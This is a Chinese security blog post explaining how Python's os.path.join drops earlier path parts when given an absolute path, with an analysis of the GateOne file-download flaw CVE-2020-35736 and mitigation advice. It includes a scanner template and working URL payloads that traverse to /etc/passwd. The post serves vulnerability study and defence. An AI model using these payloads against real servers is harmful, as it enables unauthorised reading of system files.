查看原文
其他

九维团队-绿队(改进)| 浅析 Python os.path.join 函数安全风险

Vulner-6 安恒信息安全服务 2022-09-06


前言


本文主要从 Python os.path.join 函数的特性入手,详细剖析程序员在开发过程中可能产生的错误操作,并结合目前市面上已有的漏洞进行深入分析,让读者对 os.path.join 函数的特性有一个清晰的了解。由于笔者初次进行分析,有些地方可能写得不够完善,还望读者多多包涵。


函数说明

os.path.join(path, *paths)


智能地拼接一个或多个路径部分。返回值是 path 和 *paths 的所有成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个部分除外,这意味着如果最后一个部分为空,则结果将以分隔符结尾。

如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。

在 Windows 上,遇到绝对路径部分(例如 r'\foo')时,不会重置盘符。如果某部分路径包含盘符,则会丢弃所有先前的部分,并重置盘符。

请注意,由于每个驱动器都有一个“当前目录”,所以 os.path.join("c:", "foo") 表示驱动器 C: 上当前目录的相对路径 (c:foo),而不是 c:\foo。


函数特性展示


让我们先看一段简单的代码,来展示一下 os.path.join 函数的特性。

#!/usr/bin/env python3# -*- coding: utf-8 -*-#coding: utf8import os

class Example: #测试路径拼接 def path_splicing(self): user_input1="my_info.txt" user_input2="image/my_face.png" user_input3="/test/attack/test.txt"
default_path="/default/" read_file1 = os.path.join(default_path,user_input1) read_file2 = os.path.join(default_path, user_input2) read_file3 = os.path.join(default_path, user_input3)
print(read_file1) print(read_file2) print(read_file3)
if __name__ == '__main__': test=Example() test.path_splicing()

*左右滑动查看更多

大家可以先在脑海中推测一下打印输出的结果,最后根据输出结果,再作更进一步的分析。

这段程序运行后,输出的结果如下:

/default/my_info.txt/default/image/my_face.png/test/attack/test.txt

如果读者仔细阅读了笔者在上一段落中罗列出来的函数说明,那么,这里的结果大概率应该和读者们预测的结果一致。

但是,如果读者并没有仔细阅读函数说明,那么上方第三行打印出来的结果可能会出乎读者的意料,因为,在第三行的打印结果中,系统的默认路径被用户的输入覆盖了。 

那么,为什么系统的默认路径能被用户的输入覆盖呢? 

其实函数说明中,已经告诉了我们答案,也是 os.path.join 该函数容易被大部分人忽略的一个特性:“如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接”。


风险场景剖析


假设有这样一个常见的业务场景,服务器端需要根据用户传递的文件名称加载对应的文件返还给用户。通常,对于这样的业务场景,程序员往往会对用户传递的参数进行检查,防止服务器端返回不该返回的文件数据。

但假如程序员不了解 os.path.join 的特性,那么可能就会因为检查不彻底而导致任意文件读取的漏洞。

笔者在网上找了一段存在漏洞的示例代码,如下:

def read_file(request): filename = request.POST['filename'] file_path = os.path.join("var", "lib", filename) if file_path.find(".") != -1: return HttpResponse("Failed!") with open(file_path) as f: return HttpResponse(f.read(), content_type='text/plain')

*左右滑动查看更多

可以看到,在第4行,程序员对路径遍历问题也做了简单的安全检查,防止用户输入的内容中包含路径符。至于为什么代码会写成这样,则是因为有一部分初学者并不清楚 os.path.join 在接收多个参数时,只要有一个参数包含绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。

因此,这里的 filename 参数用户是可以控制的,用户只要输入 /etc/passwd ,就会覆盖掉前面程序员设置的所有前置路径,从而对敏感文件内容进行读取。


函数特性原理


看到这里,相信有不少读者会产生一个疑问,为什么该函数会有这么奇怪的特性呢?为什么接收多个参数时,类似于 /etc/passwd 这样的路径就能覆盖前面的路径呢?由于笔者也有相同的疑问,所以就认真阅读了 os.path.join 函数的实现方式,具体代码如下:

def join(path, *paths): path = os.fspath(path) if isinstance(path, bytes): sep = b'\\' seps = b'\\/' colon = b':' else: sep = '\\' seps = '\\/' colon = ':' try: if not paths: path[:0] + sep #23780: Ensure compatible data type even if p is null. result_drive, result_path = splitdrive(path) for p in map(os.fspath, paths): p_drive, p_path = splitdrive(p) if p_path and p_path[0] in seps: # Second path is absolute if p_drive or not result_drive: result_drive = p_drive result_path = p_path continue elif p_drive and p_drive != result_drive: if p_drive.lower() != result_drive.lower(): # Different drives => ignore the first path entirely result_drive = p_drive result_path = p_path continue # Same drive in different case result_drive = p_drive # Second path is relative to the first if result_path and result_path[-1] not in seps: result_path = result_path + sep result_path = result_path + p_path ## add separator between UNC and non-absolute path if (result_path and result_path[0] not in seps and result_drive and result_drive[-1:] != colon): return result_drive + sep + result_path return result_drive + result_path except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', path, *paths) raise

*左右滑动查看更多

可以看到,os.path.join 函数首先就用 os.fspath 函数对接收到的参数进行了判断,如果传入的是 str 或 bytes 类型的字符串,将原样返回,否则则抛出异常。

我们想搞清楚的是,为什么 os.path.join 函数在接收多个参数后,有绝对路径部分的参数,会将前面的参数值给覆盖掉。因此,需要从第15行的 for 循环开始认真阅读。截取出来的关键代码如下:

for p in map(os.fspath, paths): p_drive, p_path = splitdrive(p) if p_path and p_path[0] in seps: # Second path is absolute if p_drive or not result_drive: result_drive = p_drive result_path = p_path continue elif p_drive and p_drive != result_drive: if p_drive.lower() != result_drive.lower(): # Different drives => ignore the first path entirely result_drive = p_drive result_path = p_path continue # Same drive in different case result_drive = p_drive # Second path is relative to the first if result_path and result_path[-1] not in seps: result_path = result_path + sep result_path = result_path + p_path

*左右滑动查看更多

重点在于上述代码第 3 行的判断,假设用户传入了 /etc/passwd 作为值,那么代码运行到第 3 行时,此刻 p_path 变量中存储的值是 /etc/passwd ,而 p_path[0]中存储的值则是 "/",符合条件,因此会继续进行判断。 

由于在 windows 系统中,盘符格式往往类似于 C: 或者 D: ,若传入的路径带有盘符,则此刻 p_drive 变量的值为 C: 或 D: ,但是,我们传入的是 /etc/passwd ,所以,经过 splitdrive 函数的分离后,p_drive 变量的值为空,result_drive 变量也为空,相互赋值,都是空。 

但是,紧接着,将 p_path 变量的值 /etc/passwd 直接赋值给了 result_path 变量,那么,这就导致了 result_path 变量的值变成了 /etc/passwd 。而 result_path 的值最初是根据 path 变量获得,而 path 变量是程序员自己所拼接的路径中的第一个参数 var,现在却被 /etc/passwd 覆盖了。 

若在 /etc/passwd 参数后,没有再传入其他的新的参数,那么这将是最后一次 for 循环,最后触发 continue ,跳出循环,进入下面的判断:

## add separator between UNC and non-absolute path if (result_path and result_path[0] not in seps and result_drive and result_drive[-1:] != colon): return result_drive + sep + result_path

*左右滑动查看更多

此刻 result_path 的值是 /etc/passwd ,而 seps 的值是 \\/ 的字符串,因此,无法满足该条件,不会进入 if 代码块,直接就跳到了结尾:

return result_drive + result_path


result_drive 变量的值是空,result_path 变量的值是 /etc/passwd ,这就解释了为什么输入 /etc/passwd 能够覆盖前面程序员自己拼接的路径。

以上内容,就是 os.path.join 该“覆盖路径”特性的具体原理。


相关安全漏洞案例


有了以上原理的探究,那么实际生活中,是否真的有因为这种原因而导致的安全漏洞呢?答案是有的。笔者在网上找到了发生过这种问题的漏洞,该漏洞编号是 CVE-2020-35736 。

漏洞分析

重点代码从 core/server.py 的第 3692 行开始,笔者一开始是将整个类都截取了下来,但是为了方便阅读,就删减了大部分不用重点关注的代码,该类如下:

class GateOneApp(tornado.web.Application): def __init__(self, settings, **kwargs): # 省略若干代码

*左右滑动查看更多

因为该类 GateOneApp 继承自 tornado.web.Application 类,所以通过查阅相关文档得知,上述代码的 URL 注册器写法,是由 tornado.web.Application 类决定的,该类负责全局配置,包括将请求映射到处理程序的路由表。

在这里表示的含义是 handlers 列表中的元组,里面至少要包含两个元素,分别是正则表达式与相应的处理类,例如下面代码的第 3 行,index_regex 是事先声明过的正则表达式,而 MainHandler 则是开发者自己编写的一个 URL 处理类,而非 tornado 自带的类。

# Setup our URL handlers handlers = [ (index_regex, MainHandler), (r"%sws" % url_prefix, ApplicationWebSocket, dict(apps=APPLICATIONS)), (r"%sauth" % url_prefix, AuthHandler), (r"%sdownloads/(.*)" % url_prefix, DownloadHandler), (r"%sdocs/(.*)" % url_prefix, tornado.web.StaticFileHandler, { "path": docs_path, "default_filename": "index.html" }) ]

*左右滑动查看更多

至于上述代码的第 5 行,还多传入了字典参数,这是提供了初始化参数用在对应的 ApplicationWebSocket 类中。

通过漏洞发现者分享的文章得知,漏洞存在于上述代码的第 7 行,只要用户访问的链接,被第 7 行的正则代码匹配到,就会自动调用 DownloadHandler 类中的 HTTP 相关的方法对匹配到的路径进行处理。而 DownloadHandler 也是开发者自己编写的类,没有使用 tornado 中的相关类。

所以,对 DownloadHandler 类继续进行观察,该类如下:

class DownloadHandler(BaseHandler): """ A :class:`tornado.web.RequestHandler` to serve up files that wind up in a given user's `session_dir` in the 'downloads' directory. Generally speaking these files are generated by the terminal emulator (e.g. cat somefile.pdf) but it can be used by applications and plugins as a way to serve up all sorts of (temporary/transient) files to users. """ # NOTE: This is a modified version of torando.web.StaticFileHandler @tornado.web.authenticated def get(self, path, include_body=True): session_dir = self.settings['session_dir'] user = self.current_user if user and 'session' in user: session = user['session'] else: logger.error(_("DownloadHandler: Could not determine use session")) return # Something is wrong filepath = os.path.join(session_dir, session, 'downloads', path) abspath = os.path.abspath(filepath) if not os.path.exists(abspath): self.set_status(404) self.write(self.get_error_html(404)) return if not os.path.isfile(abspath): raise tornado.web.HTTPError(403, "%s is not a file", path) import stat, mimetypes stat_result = os.stat(abspath) modified = datetime.fromtimestamp(stat_result[stat.ST_MTIME]) self.set_header("Last-Modified", modified) mime_type, encoding = mimetypes.guess_type(abspath) if mime_type: self.set_header("Content-Type", mime_type) # Set the Cache-Control header to private since this file is not meant # to be public. self.set_header("Cache-Control", "private") # Add some additional headers self.set_header('Access-Control-Allow-Origin', '*') # Check the If-Modified-Since, and don't send the result if the # content has not been modified ims_value = self.request.headers.get("If-Modified-Since") if ims_value is not None: import email.utils date_tuple = email.utils.parsedate(ims_value) if_since = datetime.fromtimestamp(time.mktime(date_tuple)) if if_since >= modified: self.set_status(304) return # Finally, deliver the file with io.open(abspath, "rb") as file: data = file.read() hasher = hashlib.sha1() hasher.update(data) self.set_header("Etag", '"%s"' % hasher.hexdigest()) if include_body: self.write(data) else: assert self.request.method == "HEAD" self.set_header("Content-Length", len(data))
def get_error_html(self, status_code, **kwargs): self.require_setting("static_url") if status_code in [404, 500, 503, 403]: filename = os.path.join(self.settings['static_url'], '%d.html' % status_code) if os.path.exists(filename): with io.open(filename, 'r') as f: data = f.read() return data import httplib return "<html><title>%(code)d: %(message)s</title>" \ "<body class='bodyErrorPage'>%(code)d: %(message)s</body></html>" % { "code": status_code, "message": httplib.responses[status_code], }

*左右滑动查看更多

通过上述代码的第 10 行得知,若用户在没有登录的情况下,将无法利用该漏洞,因为会被重定向到指定页面。至于重定向到具体哪个页面,可以参考下述代码(这里以笔者找到的截图为例):

(不过,在实际漏洞复现中,包括漏洞发现者提交的漏洞详情,发现用户在没有登录的情况下也可以利用该漏洞。于是笔者后期又对这一点进行了分析,这里各位可以先正常往下看,这一段结尾笔者也会给出相应的分析,阐明不用登录也能利用该漏洞的原因。)

在漏洞详情里,用户传入的路径进行拼接的步骤,位于上述 DownloadHandler 类的第 19 行(也可以直接阅读下方截取的重点代码),可以看到 path 变量没有进行任何的过滤,利用前面提到的 join 函数的特性,可以构造绝对路径进行传入,实现路径的覆盖。例如传入 /etc/passwd ,那么 filepath 变量的值就会变成 /etc/passwd。

# NOTE: This is a modified version of torando.web.StaticFileHandler @tornado.web.authenticated def get(self, path, include_body=True): session_dir = self.settings['session_dir'] user = self.current_user if user and 'session' in user: session = user['session'] else: logger.error(_("DownloadHandler: Could not determine use session")) return # Something is wrong filepath = os.path.join(session_dir, session, 'downloads', path) # 这里没有过滤 abspath = os.path.abspath(filepath) if not os.path.exists(abspath): self.set_status(404) self.write(self.get_error_html(404)) return

*左右滑动查看更多

然后,filepath 变量,又进行了一次绝对路径的转换,传递给了 abspath 变量,所以 abspath 中会存放 /etc/passwd。紧接着,开发者进一步决定了用户传入的路径必须以文件结尾,且该文件在服务器上必须存在。可惜的是,这一步的限制与安全性关联不大,例如:

# 可以/test/test.txt
# 可以/etc/passwd
# 不可以,因为 dirtest 是目录,不是文件/test/dirtest/


判断部分的代码如下:

if not os.path.exists(abspath): self.set_status(404) self.write(self.get_error_html(404)) return if not os.path.isfile(abspath): raise tornado.web.HTTPError(403, "%s is not a file", path)

*左右滑动查看更多

最后,在 DownloadHandler 类的第 49-59 行,实现了文件的传输,根据 abspath 变量中存储的文件路径,读取相应的文件,并传输给用户,文件传输具体代码如下:

# Finally, deliver the file with io.open(abspath, "rb") as file: data = file.read() hasher = hashlib.sha1() hasher.update(data) self.set_header("Etag", '"%s"' % hasher.hexdigest()) if include_body: self.write(data) else: assert self.request.method == "HEAD" self.set_header("Content-Length", len(data))

*左右滑动查看更多

以上就是整个漏洞的触发流程

下面再针对为什么用户在不用登录的情况下也能直接利用该漏洞进行简要的分析。

刚开始,笔者粗略地浏览了一下 tornado 官方文档,误认为只要加了 @tornado.web.authenticated 装饰器就能正确判断用户的登录状态,然而实际上却是还需要自己编写对应的 get_current_user 方法,根据自己编写的 get_current_user 方法,才能判断用户是否处于一个登录状态。

在 server.py 的 1484-1505 行,开发者自己编写了 get_current_user 方法,代码如下:

def get_current_user(self): """ Mostly identical to the function of the same name in MainHandler. The difference being that when API authentication is enabled the WebSocket will expect and perform its own auth of the client. """ expiration = self.settings.get('auth_timeout', "14d") # Need the expiration in days (which is a bit silly but whatever): expiration = ( float(total_seconds(convert_to_timedelta(expiration))) / float(86400)) user_json = self.get_secure_cookie( "gateone_user", max_age_days=expiration) if not user_json: if not self.settings['auth']: # This can happen if the user's browser isn't allowing # persistent cookies (e.g. incognito mode) return {'upn': 'ANONYMOUS', 'session': generate_session_id()} return None user = json_decode(user_json) user['ip_address'] = self.request.remote_ip return user

*左右滑动查看更多

在上述代码的第 12-13 行,可以明确地看到 user_json 数据的来源是 cookie 中的 gateone_user 字段,只要该字段有满足要求的值,并且进入第 15 行的程序逻辑,那么返回的对象就不会是 None。

可以看到下图中关键部分解码后,的确包含 ANONYMOUS 的数据:


若返回的结果不是 None ,那么则会进入下面的代码逻辑:


接下来的程序逻辑,就是会一步一步的按照先前分析的逻辑,通过传入 /etc/passwd 触发漏洞。 

看到这里,或许还有读者存在疑问,比如 gateone_user 的值是怎么产生的呢?这里就没有深究了,但在笔者复现过程中,发现在请求 https://127.0.0.1:8000/auth?next=%2F 时,服务器才会给我分配 gateone_user 的值。而只有获得该值之后,该漏洞使用市面上流传的 POC 才会利用成功,否则即使扫上千个站,那也是没有漏洞。 

就拿某知名软件的 poc 举例(仅供学习使用,不得用于网络攻击等场景):

id: CVE-2020-35736
info: name: GateOne 1.1 - Arbitrary File Retrieval author: pikpikcu severity: high description: GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. directory traversal because os.path.join is incorrectly used. reference: - https://github.com/liftoff/GateOne/issues/747 - https://nvd.nist.gov/vuln/detail/CVE-2020-35736 - https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-35736 cwe-id: CWE-22 tags: cve,cve2020,gateone,lfi
requests: - method: GET path: - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200

*左右滑动查看更多

通常情况下,在我们第一次访问目标网站时,是没有对应的 gateone_user 的值的,没有该值,就不会进入 DownloadHandler 类中的存在漏洞的逻辑,也就无法触发漏洞,所以上面的 POC 是无法利用的。我扫了本地存在漏洞的环境,也提示没有漏洞。

漏洞复现

根据前面的漏洞原理分析内容,这里我们就可以构造出对应的 payload,不过在构造对应 payload 时,笔者发现自己构造的 payload 与漏洞发现者提供的 payload 略有不同(仅供学习使用,不得用于网络攻击等场景):

# 漏洞发现者提供的 payloadhttps://ip:port/downloads/../../../../../../etc/passwd
# 笔者构造的payloadhttps://ip:port/downloads//etc/passwd

*左右滑动查看更多

咋一看好像没什么区别,但实际上这两者漏洞利用的函数完全是不同的函数。

漏洞发现者构造的 payload 并没有利用到 os.path.join 函数的特性,而是利用了 os.path.abspath 函数,使得该 payload 最终转换成目标机器上绝对路径所对应的文件。

而笔者改进的 payload ,利用的则是前文所提及的 os.path.join 函数的覆盖写入特性,实现传入任意文件绝对路径的方式,来获取对应的文件。

若读者使用漏洞发现者构造的 payload 进行手工复现时,还会遇到一个浏览器的坑,那就是直接手工在浏览器中复现该漏洞时,由于浏览器的原因,会导致得到返回结果 404,而用 burpsuite 则可以正常复现。

404 的原因是因为该 payload 会被浏览器解析后,才发送给服务器,而解析后的 URL ,并不会包含 downloads 目录,下图是浏览器对 payload 解析后发送给服务器返回的结果,明显看到 url 都不是漏洞触发点的位置了,因此 404 结果就不算意外了:


而笔者站在漏洞发现者这个巨人肩膀上所构造的 payload,无论是手工在浏览器中复现,还是在 burpsuite 中复现,都可以复现成功。



虽然区别仅仅是多了一个 "/" ,可是利用的原理却完全不同。


风险缓解措施

1. 程序员在使用 os.path.join 函数进行路径拼接时,若接收多个路径,记得要检查传入的路径是否是绝对路径,若是绝对路径,那么将会造成值的覆盖, 需要严格判断路径。

2. 在使用os.path.join函数进行路径拼接加载后, 可通过对最后的路径值进行核对,判断需要进行访问的文档是否在预期的文档目录下,例如 /download/ 从而屏蔽对其他关键目录和文件的访问。

3. 在包括IPS和WAF等安全防护类设备,创建规则关注该类payload的拦截和监控。


总结


由于笔者刚开始学习 python 安全相关的知识,并且很多的框架、技术栈都还没有接触,包括本篇文章中提到的 tornado 也从来没有使用过,所以分析过程中难免会存在一些纰漏,或者理解错误的地方。笔者唯一能保证的就是,这篇文章是我自己实践、思考的结果。 

因此,此文章仅供参考,若没有漏洞发现者对漏洞重点位置的分享,也就不会有这篇后续自己学习分析的文章,So,让我们再次感谢该漏洞的发现者。





—  往期回顾  —



关于安恒信息安全服务团队安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存